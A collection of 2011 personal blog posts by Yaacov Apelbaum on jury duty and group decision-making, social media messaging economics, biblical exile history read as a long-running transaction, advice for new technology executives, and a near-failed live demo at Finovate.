Sometimes it’s hard to break from the daily routine of work, chores, and family. But life, with its endless twists and turns, has a way of forcing you to get off the bus and smell the roses.  That’s what happed to me when I received a letter informing me that I was selected for jury service. I’d never been called for jury duty before so I asked a few colleagues at work about their experiences. 

The responses I got back ranged from heartfelt sympathy to detailed advice as to how to go about dodging the process. Curious about the inner working of the windmills of justice and wanting to exercise my civic rights, I reported for service on the assigned date, all bright eyed and bushy tailed.

With my Juror’s ID card in hand, I went through security and was then directed to a reception counter in a large waiting hall. After a quick processing, I found a seat and waited while watching a movie about the "History of Criminal Justice” that was playing on the screen in the waiting room. 

After about 11 loops of the intro movie and when it seemed that it wasn’t possible to squeeze one more person into the room, several court officials magically materialized on the floor. In the style of a southern auction, they grouped us into teams of about 100 each. Each group was assigned to a court officer and was marched to special service elevators that brought us to designated court rooms. 

In the court room, the judge made a short introduction about what was ahead of us and then he began the jury elimination process.  First, he dismissed anyone who didn’t understand English. Next to go were non-citizens and  people with a felony conviction. After that, he released the candidates who were sick followed by small business owners who couldn’t afford to close their establishments for a prolonged time. After that came parents who were single care givers. Finally, the last ones to get off were the conscientious objectors. 

After this filtering, our group had shrunk to about 50 candidates.  The judge read a list of 17 numbers, each corresponding to a juror ID.  Mine happened to be the 7th on the list.  The seventeen of us were then asked to move from the public seating area to the assigned jury section in front of the judge’s bench. 

As soon as we were seated, the defense and prosecution began their questioning process.
“Does anyone here have direct family members in the police force?”
“Has anyone in this group ever been the victim of a violent crime?”
“Is any one of you an attorney?”

The questioning went on for about an hour and resulted in the dismissal and replacement of 4 of our original 17 team members (12 jurors and 5 alternates). Finally, the jury selection was complete. The judge appointed one of the jurors to be the “Foreman” and instructed us not to discuss the trial with unauthorized individuals, read about it in the news, visit the crime scene, or do our own case research. We were then allowed to go home for the day and told to report back the next day.

The following morning, the trial began.  Both sides made opening statements.  The prosecutor—in a confident voice—told us that this was an open and shut case. The defense—just as confident—insisted that the charges did not warrant the crime.  I’ll spare you the gory details, but in a nutshell, the case was about a gang related shootout that resulted in the death of one young individual and the injury of several others.  

As the witnesses got on the stand and testified, the facts about the case became murkier by the minute. In one twist, the injury victims of the shooing actually refused to identify the defendant who allegedly shot them from a distance of 6 feet, nor would they corroborate any of the prosecutor’s allegations, (possibly planning to reenact their own form of justice against the defendant out of court).  This went on day after day. We watched hours of video surveillance footage, examined the crime scene evidence, evaluated the weapons, and even got to examine some graphic autopsy photographs.  

After two and a half weeks of testimony and cross examinations, it was time for closing statements. The prosecution reaffirmed that this was a simple murder case and demanded a verdict of nothing less than First Degree Murder. The Defense argued that this was a classic case of self defense and that the unfortunate death was not pre-meditated and did not justify a First Degree Murder verdict.

After closing arguments, it was the judge’s turn.  He gave us instructions regarding the definition of various terms like “reasonable doubt” and the degrees of murder and manslaughter.  Then we were sent to the jury room for deliberation.

By the end of the first day of deliberations, the majority of the jurors decided to go with “First Degree Murder”.  I argued that I couldn’t find a willful and premeditated intent to justify First Degree murder verdict.  I also pointed out that from all the facts presented to us, it was clear that the “victims” were armed, had a history of violence, were wearing their “colorz”, and from the video footage, it seemed that they were itching for a “Gunfight at the O.K. Corral” style shootout.

Deliberations went on for 3 days. As time progressed, our secluded jury room became a pressure cooker and then eventually a madhouse. Emotions ran high. One juror got sick and had to be replaced by a standby. One female juror would spontaneously break into tears each time she spoke, and two other jurors—a man in his early twenties and an older gentleman in his late sixties—would engage in reoccurring screaming matches, calling each other “baby” and “grandpa”.  This went on from 9:00 AM to 5:30 PM, (with an hour of a sanity break for lunch).  At the end of each deliberation day, we would vote and present our decision to the judge.  Because the charge were deciding upon was of murder, we had to reach an unanimous decision.

At the end of the second day of deliberations, we weren’t any closer to a decision. As it turned out, I disagreed with the majority. “Mr. Apelbaum, why can’t you be reasonable?", “For haven’s sake, we are dealing with a confessed killer; what difference does it make if its First or Second Degree Murder, we need to get this guy off the street for as long as possible”.  I would nod and say that I understood the speaker’s point of view, but could not agree with their decision because I still had a reasonable doubt.  This in turn would start another round of crying, arguing, and emotionally charged negotiations.

In the end, we presented three consecutive votes illustrating that we were unable to reach a unanimous verdict. The judge finally declared that we were a deadlocked jury and we were dismissed. We collected our bags and headed out of the building. The entrance to the building was swarming with reporters and TV cameras.  Not feeling up to the task of discussing the trial with anyone, I took the back door to the parking lot. 

As I exited the building, I heard someone calling my name. I turned around and recognized one of the other jurors: it was “grandpa”, the man in his late sixties. 
“You mind if I walk with you?” he asked.
“Not at all,” I said. 
We walked to the parking lot and spoke about the trial and the bitter disagreements we had during deliberation. 

We reached his car. I shook his hand and wished him well and we parted ways.  As I was getting into my car, he pulled up next to me, rolled down his window and said:
“I’m glad that you didn’t vote for First Degree.”
I was surprised. I couldn’t understand what had changed. He had been the leader of the First Degree Murder verdict camp.
“Why do you say that? You felt so strongly about your opinion during the trial.” 
He thought about it for a few seconds and said:
“I don’t know. When we were locked up in that room, it seemed like the right decision. Now in retrospect, it doesn’t.”

I just nodded, smiled, and watched him drive away.

On the way home, I thought about his comment.  What was it that had initially made him so  certain about the verdict, but later caused him to change his mind? Was it peer pressure? An opportunity to assert leadership? Or maybe it was just plain demagoguery? One thing is certain though, the decision making process was a good illustration of just how wrong can 50 million Frenchmen be and how un-intelligent a swarm can get.

In his book The Wisdom of Crowds, James Surowiecki argues that crowds can find a correct answer to a question, even if they don’t know all the facts.  But this is possible only if there is a correct answer to be found.  What about all the situations where there is no single best answer? What if there is no Global Maxima? It turns out that in these types of scenarios, group intelligence fails miserably because the individuals are unable to come up with an independent solution. Instead, they resort to forming sociopolitical alliances with other members, (based on age, sex, culture, heritage, etc.),  or they emulate the opinions of socially dominant peers, and this leads to the formation of a majority decision that often has nothing to do with truth.

This theory is supported by numerous historical examples of large crowds forming an opinion based on the affinity of some persuasive speaker on a balcony (often dressed in some dark decorated uniform and polished black boots to match).  It’s an intriguing question to ponder: is it possible that the majority of verdicts returned in complex legal cases by juries are just a function of emulating charismatic (and often clueless!) peers in the group?

One thing is certain, though. If you get a jury notice, I strongly encourage you to serve.  The experience will give you an intimate view into how our legal system works. Besides, you’ll also get the highest civil decoration available to any free citizen: the “Proof of Service” certificate.

As difficult and time consuming jury duty was, I was glad I had served. My personal takeaway from the experience was that no matter how vocal, eloquent, or passionate the other fellow jurors are about their opinions, the process is not about negotiating a group consensus, serving a higher good, or pleasing anyone. It’s about you weighing the evidence and reaching a verdict beyond reasonable doubt.

© Copyright 2011 Yaacov Apelbaum. All Rights Reserved.

In his post: The bandwidth-sync correlation that’s worth thinking about, Seth Godin argues that in terms of messaging media (movies, TV, books, IM, smoke signals, etc.):

“movies take a long time to make, but they’re high impact. Twitter takes a second to do, but there’s not a lot of info there. One on one coaching is high enough bandwidth that it can change your life and make you cry, in real time, and the Mona Lisa, while less bits per second than a TV show, has enough emotional bandwidth to matter, even if it’s 400 years old.”

This is a great observation. Clearly, bandwidth and synchronicity matter.  But what about the relationship between messaging media cost, the time needed to develop it, and its ability to effectively saturate a large population? Is it possible to create effective memes and circulate them widely through 140 character messages? And what about the impact of all of these factors on future social media functionality? Is social media headed towards platform convergence or towards divergence?

Messaging Cost, Development Time, and Outreach Potential
Consider a typical Hollywood mega blockbuster like the Pirates of the Caribbean: At World’s End. This 169-minute long meme bomb carries an enormous amount of content. Every scene was carefully designed to keep audiences glued to their seats. Its production took two years, it required the creative talents of hundreds of individuals, and it cost about $300 million dollars to make (roughly $30K per second of movie). It grossed over $963 million in revenue, which amounts to 320% return rate—not pocket change by any means. The movie messaging medium is so well optimized that it is capable of generating a significant amount of secondary revenue and reach worldwide audiences by sheer inertia. Just think about all the spinoff industries that spring into life when a major movie like this comes out: toys, music, party accessories, food, costumes, books, music, etc.

If you follow a reasonably well proven formula, (standard plot, big name actors, expensive sets, and lots of special effects), you are almost guaranteed at least a 2:1 ROI ratio and a good chance of producing a number of sequels to your masterpiece. 

So it does seem that there is a correlation between how much content is packed into the message and its memetic effectiveness. The movie messaging model (see quadrant 1 in the graph below), is based on a tremendous investment of time and resources. The strategy is to build the best product possible, market it well, and then fire-and-forget it. The forget part has to do with the passive nature of this medium; the audience has no interaction with the content and consumes the messaging passively.

On the other hand, social media messaging like blogs, e-mails, Twitter, etc., (see quadrant 3 in the graph above), can be produced instantly and with little investment or skill.  But it’s also difficult to get a quantifiable ROI from it, (ergo, the raise of snake oil salesmen social media marketing gurus). Another observation is that synchronous social media messaging depends on an interactive and free feedback loop. Users demand the ability to interact in near-real time with their network, but they refuse to pay for the privilege. 

From an evolutionary point of view, it seems that the quadrant 1 and 3 messaging mediums represent a form of r/K selection classification. Each trades between quantity and quality. The focus in quadrant 1 is to increase the quality of the content with higher expense per message. The focus in quadrant 3 is to increase the quantity of the content with a corresponding reduction in quality and lower expense per message.

Content Developers and Messaging Strategy
The chart data suggests that there is an inverse relationship between the effectiveness of content distribution and the viewer’s exposure time to the message. It seems that quadrant 1 messaging mediums are the most effective in terms of meme creation, distribution speed, and outreach.

Content developers are aware of the limitations of each medium and have developed interesting coping strategies (sometimes reversing r/K selection) in order to leverage various messaging toolsets to promote their content.  

For example, the K-selected movie, television, theater production, and book publishing industries leverage social media primarily to get a short term engagement with potential audiences. The ultimate objective is not to create a long term social community, but instead to lure users in to consume their product.  Once the product is out on the market, most of the related social media interaction around it stops. 

A good illustration of this was evident for the movie Coroline.  Eight weeks before the movie release date, one of the characters, the Great Bobinsky, created a blog and started posting on a weekly basis, clearly so as to create a groundswell and buzz. Three weeks after the movie went live, official posting to the blog stopped—to the great dismay of its myriad followers—and Mr. Bobinsky announced:

Thank you for being friends of Bobinsky…Have beet and think of me.  Until we meet again. Mr B. signing off.

In complete opposition to movie producers, the r-selected social media authors use content and platforms like Picasa and YouTube to build long term relationships.  Their strategy is to create an intimate family environment that will foster a long term engagement with the target audience.

Social Media Box of the Future
In terms of future direction, there is strong indication that just like Apple successfully consolidated GPS, MP3, gaming console, and phone into a single device, so too the social network platforms of the near future will converge on traditional services. 

The future social network platforms will yield a service that offers a suite of products like IM, voice and video chat, conferencing, on-line collaboration, e-commerce, content subscription, and personal reputation management, sort of a LinkedIn/Facebook/Pandora service with hybrid Skype and PayPal/Google wallet-like capability. And all of this optimized and available on a mobile device.

The only question that remains is will this future platform be built on top of one of the current products or will it be mashed and/or assembled from existing services.

© Copyright 2011 Yaacov Apelbaum. All Rights Reserved.

Among the most prominent themes in the Hebrew Bible are the concepts of sin, punishment, repentance, and restoration.  Chapter 28 of the book of Deuteronomy, known as the “blessing and curse”, makes it abundantly clear what the rules of the game are. Follow the law and you will enjoy fantastic entrepreneurial success and overflowing prosperity. Disobey it, and you’ll be punished with the worst forms of war, exile, anarchy, and poverty.

The following two promises are good illustrations of the inverse relationship of the biblical punishment and restoration concepts:

Punishment (Deuteronomy 28:64)

…and the LORD shall scatter you among all peoples, from the one end of the earth unto the other end of the earth;

…and there you will serve other gods, which you have not known, nor your fathers, even ones made of wood and stone.

is offset by:

Restoration (Jeremiah 29:14 and Zechariah Chapter 14:9)

… and I will end your captivity, and gather you from all the nations, and from all the places whither I have driven you, said the LORD.

…and the LORD shall be King over all the earth; in that day shall the LORD be One and His name one.

I chose to use the example of the exile from/return to the Promised Land as an illustration because it seems to have been executed with meticulous precision for over 2700 years. Being a software engineer, I can’t help but look at a promise of punishment and restoration that spans such a long period of time and not see a BPEL long-running transaction.

In system design, we use the term ‘long-running transaction’ to describe a job that may need to run for an extended time and survive various failure conditions like system reboots and lack of connectivity.  Another characteristic is that these processes might have long periods of inactivity between consecutive events. This may be because the process is waiting for an external message/event to arrive or occur.

Armed with this useful information, we can begin our historical voyage to examine how this ‘long-running transaction’ has unfolded throughout the centuries:

The Jewish mass exiles begins in 740 BCE. After repeated threats and prophecies foreshadowing impending doom, the Assyrian king Tiglath-Pileser III, arrives to the Northern Kingdom of Israel and exiles the tribes of Reuben, Gad, and the half of the tribe of Manasseh (I Chronicles 5:26).

In 722 BCE, it is the turn of Samaria, the capital of the Northern Kingdom. After a three year siege, Samaria is captured by Sargon II and Shalmaneser V, each of whom, in turn, proceeds to exile first 27,290 inhabitants of Samaria and then ten of the twelve tribes of Israel. Those ten later came to be known as the Ten Lost Tribes. (2 Kings 17:24).

In 701 BCE, twenty years later, Sennacherib leads a military campaign against Judea, which results in the exile of 200,000 Israelites (2 Kings 18:12 and Taylor Prism).

Now fast-forward the time machine by 100 years, to 597 BCE.  The Assyrian empire has just been replaced by the Babylonian.  With new regional management comes a new round of exiles. This time it’s king Nebuchadnezzar II who is the divine “messenger”. Jerusalem, the capital of Judea, is put under siege and eventually falls resulting in the destruction of the First Temple in Jerusalem and the exile of 50,000 people to Babylonia (2 Kings 25:21).

By 520 BCE, only 70 years later, the Babylonian empire has gone the way of all empires and the new superpower, Persia, permits the exiles to return to Judea and rebuild the Second Temple.

In 334 BCE, the Persian empire finally meets its maker. Judea now falls under the rule of Alexander the Great. In 167 BCE, his successor, the Seleucid king Antiochus IV Epiphanes, pursues a zealous Hellenizing policy against the Jews which leads to the Maccabean Revolt. In the space of three days, 40,000 people are killed in Jerusalem and the same number are exiled and sold into slavery. (2 Maccabees 5:11–14).

By 6 CE, the Seleucid empire bites the dust and Judea became a province of the Roman empire. In 66 CE, due to a combination of religious and political factors, a full blown revolt is launched against Rome. This war, known as the First Jewish–Roman War, lasts for about 7 years and ends in the destruction of Jerusalem and the Second Temple. According to Josephus, around 1,000,000 people are killed and as many as 100,000 are exiled and sold into slavery.

Through their iron fist policy, the Romans keep Judea quiet for about 40 years. Then in 115 CE, the Second Jewish-Roman war breaks out.  Known as the Kitos War, the war lasts for about two years and results in the complete depopulation of many communities and many exiles.

Pax Romana works for about 15 more years. Then in 132 CE, the emperor Hadrian decides to rename Jerusalem "Aelia Capitolina" and to prohibit circumcision. This leads to the Third Jewish-Roman War, also known as the Bar Kokhba Revolt. The war lasts for 4 years.  The outcome is almost the complete devastation of Jewish life in Judea. According to the Roman historian Cassius Dio, 580,000 Jews were killed and thousands exiled. 

In a final attempt to suppress any future Jewish revolts, Hadrian burns the Torah scrolls at the former Temple sanctuary and places two statues there: one of Jupiter and one of himself. To eradicate any memory of Judea or Israel, he also wipes the name “Judea” off the official Roman maps and replaces it with “Syria Palaestina” (after the Philistines). 

This strategy works for about 120 years. Then in 351 CE, a revolt brakes out against emperor Gallus.  After a short war, Tiberias, Diospolis, and Diocaesarea, the centers of the rebellion, are razed to the ground. Ursicinus, the Roman general in charge, orders thousands to be killed, enslaved, and exiled.

260 years passes, and the empire is now under Byzantine management when a Jewish revolt brakes out against emperor Heraclius. The war ends in about 626 and is followed by a wide scale massacre of the Jewish population throughout Jerusalem and Galilee, and the exile of tens of thousands.

By 628 CE, it’s the end of the road for the Byzantine empire. The Jewish population in Judea under Muslims rule continues to shrink for about 400 years and eventually in 1099 CE, culminates in the Crusades during which most of the Jewish population left in the land is either killed or exiled.

This pattern continues during the Middle Ages, Renaissance, and up until as late as the 20th century.

Some of the expulsions are massive, such as the one in Spain in 1492 that effects 800,000 people. Others, are smaller and impact a single city or several hundred individuals.  But nevertheless, The Jewish communities everywhere were constantly involuntarily on the move.

A quick historical sampling of European expulsions between 1495-1597 shows 23 such events.

1495 Lithuania
1497 Portugal
1499 Germany
1510 Brandenburg, Germany
1510 Naples  
1514 Strasbourg
1519 Ratisbon [Regensburg in Germany]
1527 Florence
1535 After Spanish troops capture Tunis, all the local Jews are sold into slavery
1540 Naples
1542 Bohemia
1550 Genoa
1551 Bavaria
1551 Pesaro
1559 Austria
1561 Prague
1564 Brest-Litovsk
1567 Würzburg [Bavaria] 
1569 All Papal Territory except Rome and Ancona
1593 Brandenburg, Austria
1597 Cremona
1597 Pavia
1597 Lodi

By 1947, 2700 years have passed since the first Assyrian exile. The original prophesy in Deuteronomy 28:64 of “I’ll scatter you among all people… from the one end of the earth unto the other end of the earth” has now been fulfilled. 

So, you are probably thinking to yourself: “This history of the exiles and expulsions is very interesting, but where is the proof of the inverse prophesy?” (Remember? The one about gathering the exiles from the far reaches of the earth and bringing them back to their homeland or the universal recognition of the one nature of God?).

Wonder no more! In what looks like the self-reassembly scene from the Iron Giant, the decedents of the exiles are finally starting to make their way back home. Need some proof?  By 1948, against all odds, the State of Israel is re-established, the land is reclaimed, and Hebrew, as a spoken language is resurrected.  Furthermore, consider the stories of some of the returning exiles, a remote and apparently completely unrelated groups like: Bnei Menashe,  Bene Ephraim, Bene Israel, Pashtun, ye-Ityoppya Ayhudi, Bakwa Dishi, The Lemba people, and Kaifeng. All of these have an oral traditions that claim that they are the descendents of the Judean exiles or the ten lost tribes. 

Ok, so what about the universal recognition of the “one nature of God” prophesy? This one takes the cake! Check out the video below, recorded in a remote village in Papua New Guinea. It shows the native community reciting one of the oldest biblical affirmation prayers about the unity of God. 

The words for this song come from the text found in Deuteronomy 6:4:

Hear, O Israel: the LORD our God, the LORD is one

For Jews, it is considered the single most important passage in the Hebrew Bible, and it has been recited as part of the daily prayer routine for over 3,000 years, long before the first exile ever took place.  

God bless the people of Papua New Guinea!

© Copyright 2011 Yaacov Apelbaum All Rights Reserved.

You just landed the technology executive job of your dreams, so what do you do next?  Do you concentrate on the dysfunctional engineering/architectural environment? Do you accelerate the delivery schedule on the flagship revenue platform? Do you tackle that daunting platform upgrade that everybody has been steering clear of for the past several years? Well, you should do none of those, and I’ll tell you why.

Your first ninety days on the job are critical to your long term success. This transition period is characterized by great uncertainty and the risk of deadlocks.  As many eventually discover, the inability to make significant headway during this initial period has little to do with technical intelligence or leadership skill. The common cause for the ninety day blues has to do with communication breakdowns, misaligned expectations, and the onset of a psychiatric condition known as the “Hero Syndrome”.

If you have just given notice and are about to take over new technical management responsibility, you may want to consider the following tips and tricks:

1) Committing to unrealistic deliverables and timelines
The number one trap on my list is to promise too much and commit to specific deliverables too early. Creating unrealistic expectations is one of the most common pitfalls for a new manager. It is all too human to endeavor to dazzle your boss and peers by establishing the reputation of a mover and shaker. Fight this urge until you get a good understanding of what it is exactly that you are about to move and shake.

One great example to illustrate this is the story taken from the Mahābhārata about king Santanu, who commits to a deadly relationship with Ganga without first understanding the repercussions of his decision. It cost him 7 of his 8 children.

2) Pretending you know it all
The second pitfall is believing that you have been there and done that. Regardless of your pedigree and illustrious career, no two projects are ever the same.  You must come to terms with the fact that you can’t possibly have all the answers. My favorite tactic for addressing this is to schedule a day long summit that is dedicated to one core problem.  During the summit, the stake holders present and openly discuss their concerns and views. Spend the time listening to all the domain experts. Don’t be shy, if you don’t understand the issues discussed, ask for a simplified explanation.  In all likelihood, when the fog eventually lifts, you will find that the problem is more complex than you had initially thought.

Another variation on the knowing-it-all syndrome is jumping to conclusions. Quickly embracing a substandard solution as a simple fix to a complex problem can alienate your organization. Team members who believe their leaders’ minds are made up about a problem are usually reluctant to share information or ideas, and this can further impede your ability to learn the true nature of the issue.

3) The good ol’ days and clinging to your old persona
Sometimes without even realizing it, you may discuss your former company or your past success too frequently. The psychology behind this behavior is to use past achievements (real or imaginary) to shore up an argument. This may work some of the time, but it is a double edged sword because doing it habitually can disenfranchise your new team and create the impression that your former company was so much better than your current one, at least in your mind. People may also wonder why—if you loved your old company so much—you didn’t marry it and stay there.

4) Suppressing bad news and dissent
Managers who quash disagreements, bad news, and dissent remove themselves from the real feedback loop and lose the ability to identify and correct problems. It’s easy to create a top to bottom environment that is based on fear. This, however, is guaranteed to drive your brightest team members out the door. The highways are full of smart employees who were given draconian decrees in the style of "it’s my way or the highway." The only ones left in your company parking lot will likely be the mediocre talent who have difficulty driving to their next gig.

5) Chronic Hero Syndrome
Trying to go at it solo is romantic but foolish. If you operate as a lone wolf who insists on forging his/her own way and doing all the work yourself (design, coding, architecture, etc.), you will cut yourself off from valuable sources of domain expertise. Even if you are on the right track, you will eventually burn out or alienate your team.

6) Failing to identify the true sources of corporate power
One important quality you should work on is reading the unwritten laws of your organization.  Depending on the structure of your new company, (startup v. Fortune 500), you may find that real power and ability to effect change is held by the likes of senior architects, product managers, etc. and not your C-class peers.

7) Fighting the wrong battles
As a new leader, you instinctively want to focus on high visibility problem areas and figure out how to solve them. Nothing is more rewarding than to take a leading role in a gunfight at the O.K. Corral. That’s commendable, but not if it comes at the expense of sustaining small gains at GTB (growing the business) while suffering significant losses at RTB (running the business). There is a tendency in the beginning to think that it’s more important to be visible. Fighting too many of these battles can quickly become a huge  black hole that will suck every free moment of your day.

8) "Trashing" your predecessor
My golden rule is to always be respectful and sensitive about my predecessors on the job.  Consider the fact that most of the people you will work with knew the old manager and many are still in touch with him/her and are probably still on friendly terms. Learn as much as you can about your predecessor and the reason for his/her actions. Try to figure out what was done well and what went wrong. If at all possible, insist on getting access to old e-mails and work files. As I have discovered many times, this data can contain pure gold and is probably a good indication of the type of bus that is heading your way.

9) Attempting too much
Whether you like it or not, you are going to be judged on specific deliverables. If you concentrate your focus on too many activities, you may miss the opportunity to allocate a critical mass resources and time to complete high priority projects. To avoid this pitfall, work to prioritize your assignments. My rule is no more than three vital priorities for the first 90 days.

10) Hanging around with the wrong crowd
In life, hanging around with the wrong crowd can get you into trouble. The same thing applies to your new team. If you get inadequate or skewed information, or make all your decisions based on poor advice that comes only from a handful of individuals on your team, you may end up inadvertently politicizing trivial issues. Keep the lines of communication open outside of your organization in order to make sure that you balance inter-team influences.

11) Failing to build a cross-organizational coalition
It’s impossible to get anything done effectively in any size organization without critical mass of support. This is even more important for large corporate initiatives. For you, this means that you very quickly need to identify who the key decision makers are and what they care about, map the organization’s political networks to figure out who influences the influencers, and craft a plan to reach out to build strategic relationships.

Your Recipe for Success
Avoiding the above mentioned traps depends on how well you manage your first ninety days on the job. This means taking the time to evaluate situations, identifying team member strengths/weakness, accelerating learning, negotiating success, building coalitions, and achieving early victories.

Coming into a senior management position from the outside of the organization is tough. You don’t have a reputation to fall back on yet nor an internal Goombah to speak up for you. You must quickly learn about new products, market opportunities, and the mechanics of day-to-day operations – and all this in the context of an unfamiliar political culture.

To execute your vision successfully, avoid using political clout and authority. Instead,  leverage your team members to get the job done. I use the “clip with 3 silver bullets” metaphor. You can use management directives 3 times, but each time you do, you spend one of your silver bullets. After your last management directive, you are effectively out of ammunition and it’s only a question of time before the werewolves will get you.

This means building a good relationship with team members from other business units who have their own agendas. It means creating supportive relationships with your manager and peers who have different styles and objectives. It means motivating a wide range of employees who probably feel threatened by you. So how do you put this hundred ton flywheel in motion and secure support? You do it by following these battle proven directives:

1) Manage your management team
What makes companies like Intel, Google, and Apple successful is their talented and high-performing employees. Creativity, product innovation, and development efficiency are largely based on good technology management practices.  Whether you are coming in as CTO to resuscitate a fallen giant, or as a VP of engineering in a startup to get their product to market, the primary lesson is that you can’t do it alone.  You need to build a dependable management team that should be able to survive the loss of any of its key members (including you) and still continue to function.  For you, that means working out individual secession plans and career paths.

Neff and Citrin, in their book, You’re in Charge-Now What? argue that the difference between short term success and great enduring success is how you practice leadership and shape your management team in the early days, and then motivate and develop them over a longer period of time.

2) Develop and articulate your strategic plan
In the fog of battle, it may seem as if there is no time to think, but that’s not the case. Take your time and work out your plans. As a new executive, you are not expected to produce a fully functional strategic plan in the first ninety days. You should instead try to strike a balance between developing a comprehensive map of where you want to take the organization without immediately becoming prematurely bound to it.

The first ninety days are your honeymoon period and as a new manager, you are allowed to walk a fine line. You must develop credibility through action but at the same time,  if you act too quickly before gaining a complete understanding of the situation, you may risk making the wrong choices.

3) Communicate
Communication is probably the most important aspect of good leadership. Effective communication has a disproportionate effect on your success during the early period.

Don’t miss the opportunity to communicate daily and to communicate well.  Listen carefully during meetings, take careful notes (write down and learn every acronym), follow-up on conversations to get in-depth explanations for issues that you didn’t grasp initially, be punctual showing up to meetings and returning e-mails and phone calls, and provide constructive non-polemic feedback.

4) Transform the culture, but do it slowly…
Every organization has a different ecosystem and operational nuances. Before you start transforming the organization, learn about the culture of the company and identify its bureaucratic and operational bottlenecks. It is critical to first learn "how they do things around here" and to identify the knowledge network, secret handshakes, chief influencers, decision-protocols, and unwritten conventions that form the nervous system of your new organization.

A few good areas for investigation are procurement, recruitment, release management, and quality tracking. My two personal favorites are to go through the actual steps of composing and submitting a request for a piece of software or hardware and a new headcount justification request. You will be amazed how much you can learn about the company by completing these two tasks. Once you get your finger on the pulse, you can begin to intelligently effect change and take the right transformational steps. This would include: instituting new operating procedures, choosing a new management team, setting up governance boards, identifying change leaders, and leading by example.

Finally, change is unavoidable, but it is important to remember that rapid and excessive change can destroy the work culture and the change agent (i.e., you). So, instead of adapting a deeply disruptive strategy such as reinventing everything or replacing key people, try the following long terms initiatives:

• Set up pilot and POC projects
• Change the way performance is measured and tracked (digital dashboards)
• Educate and train your team (gain expertise in your entire technology stack)
• Build up islands of excellence (tiger team, high performance SCRUM teams, etc.)
• Document how the technology organization operates (process and roadmaps)
• Collectively envision new ways to operate (what to sunset, upgrade, etc.)

5) Get to know your boss, your greatest ally
A key success factor in your new job is to establish a productive working relationship with your new boss. It is important that you spend some time together on daily basis. This includes keeping him/her informed of your thoughts and actions, discussing proposed changes, and updating him/her on your deliverables.

It is also imperative that you quickly size up your boss, including high priority goals, pain points, strengths, weaknesses, blind spots, and preferred work style.

Remember, your boss is your greatest ally, because he/she can link you to all the right individuals in the rest of the organization, help you set priorities, and secure the resources you need to get your job done.  All of this is free and comes without you having to spend any political capital at all.

For a more detailed treatment on how to max the first 90 days on the job, check out: The First 90 Days: Critical Success Strategies for New Leaders at All Levels by Michael Watkins. 

© Copyright 2011 Yaacov Apelbaum All Rights Reserved.

Several weeks ago, I had the opportunity to demo at Finovate Spring 2011.  In the past, I have presented at a variety of professional conferences (including Microsoft PDC and IEEE), but preparing and presenting at Finovate was a real eye-opener for me.

In our presentation, I showcased the platform through several complex interactions. As an illustration, we decided to follow a “day in the life of an average teenage user”.  Our user, while cruising around town, utilized his mobile device (a Google Nexus-S running Android 2.3) to perform the following functions:

1. Acquire product information by scanning the barcode with the built-in camera.
2. Receive budgetary advice (“You don’t have enough money in your account to buy this camera. Would you like to create a goal for it?”
3. Create goals on the fly, and post them to a social network. (“Hey everyone, my birthday is coming up. I only need $20 more bucks to buy this great camera!”)
4. Get a chip-in from a member of his social network (who clicked on the Facebook link, was taken to the chip-in page, and used a credit card to contribute $20.
5. Locate the best retail deal and store based on price, availability, and location, utilizing the phone’s Goelocation ability.
6. Complete the transaction at the retail POS using the phone’s NFC capability.

In addition to actually demoing all of these features, I had to allocate enough time during the presentation to talk about data security, encryption, and authentication, as well as to explain how the real-time analytics and business intelligence engines monitored and interacted with the user.

If you’ve never been to Finovate, then you might not know that the demonstrations are attended by the cream of the crop of financial innovators and the banking industry.  You can’t pull any wool over their eyes, they’re too savvy; your demo has to be perfect.  For many Fintech startups, a successful Finovate demo is one of the best ways to get their name around, secure a major strategic partnership, and even get VC funding.

This year, there were over 850 people in the audience; the place was packed.  Due to the condensed nature of the conference, each demo was required to be exactly 7 minutes long.  When your 7 minutes is up, the bell rings, the lights go off, and you get swiftly kicked off the stage so as to clear room for the next presenter.

The whole event is a strange combination of high-tech magic show, circus act, and speed dating.  Following the philosophy that there is no such thing as bad press, it’s not unusual to have a presenters accompany their product demo while playing a ukulele solo or performing a juggling act.

Knowing how challenging the time and content delivery requirements were, we laid out the demo components eight weeks before the presentation and then on a daily basis, we spent an hour practicing it in front of our peers.  As the rehearsals progressed, we improved our timing, streamlined the script, and tweaked the presentation to make it more concise.

The day before the conference, we arrived to the presentation hall the and got on stage for the final dress rehearsal and to test the AV equipment and connectivity.

During the rehearsal, as I placed the presentation phone on the podium, I noticed that it suddenly lost the 3G network signal.  I moved the phone off the podium and the signal came back.  Clearly, you can’t run a live demo if you don’t have connectivity.  After the rehearsal backstage, I ran into the network guy and asked him why there was such poor 3G connectivity on stage. The man just shrugged his shoulders and said, “It’s a metal building. Your best bet is to connect to the Finovate wireless network tomorrow.”

The next day, thirty minutes before our 1:16 PM demo, we arrived backstage to gear up. I again checked all connectivity and verified that I was still on the network.  It didn’t occur to me to check what wireless network I was actually connected to.

After handing-in all of our equipment to the Finovate staff, we just stayed backstage and watched the presenters go at it.  It turned out to be a blood bath.

One company demoing an iPhone version of their browser app was doing great until they tried to actually login from the device (using 3G).  After 30 seconds of failed attempts they made the strategic decision to continue without the mobile app and instead they narrated what the app was supposed to do.

Another company demoing their revolutionary banking web portal (using a laptop with a 3G USB wireless network card) also went up in smoke as they soon discovered that they couldn’t login into their own site.  Their CTO, in an attempt to save the day (still apparently thinking it was some kind of misconfiguration issue), tried to reconfigure the proxy settings on his laptop, forgetting that he was sharing his screen with 850 people.  The audience got treated to his administrative user ID, password, and firewall settings.

This went on and on. One after another, the 3Gers went down like flies. Almost every iPhone app demo using 3G ended up with some critical connectivity problem.

Then, it was our turn. I got on stage, and instinctively looked at the wireless network one more time.  To my horror I noticed that I had almost no reception and that my laptop was strangely connected to a network called “Coffee House”.  “Strange,” I thought to myself, “why would Finovate name their network “Coffee House?” It took me another few seconds to realize that I was connected to the wrong network.  Next, I looked at the demo phone but it was still connected to the “Finovate” network.  You can’t run a demo with only fifty percent connectivity!

As the announcer was introducing us, I noticed a LAN cable on the podium, figuring that at that point I had nothing to lose, I plugged the LAN cable into my laptop and quickly launched the browser. After what seemed like an eternity and just as my partner began the presentation, the home page loaded. What a close call!

Our demo itself went down like a fine Merlot. The pages loaded instantly, the phone transmitted without any issues, and we even finished presenting with a few seconds to spare.  On the way out, I asked the network technician why he hadn’t warned all the presenters that the 3G was flaky. He looked at me with a twinkle in his eye and pointed at a large sign on the wall that read:

“To all presenters, due to the fact that we are located in a metal building and can’t guarantee 3G connectivity on stage, please utilize the “Finovate” wireless network! We will be happy to configure your devices for you.”

© Copyright 2011 Yaacov Apelbaum All Rights Reserved.

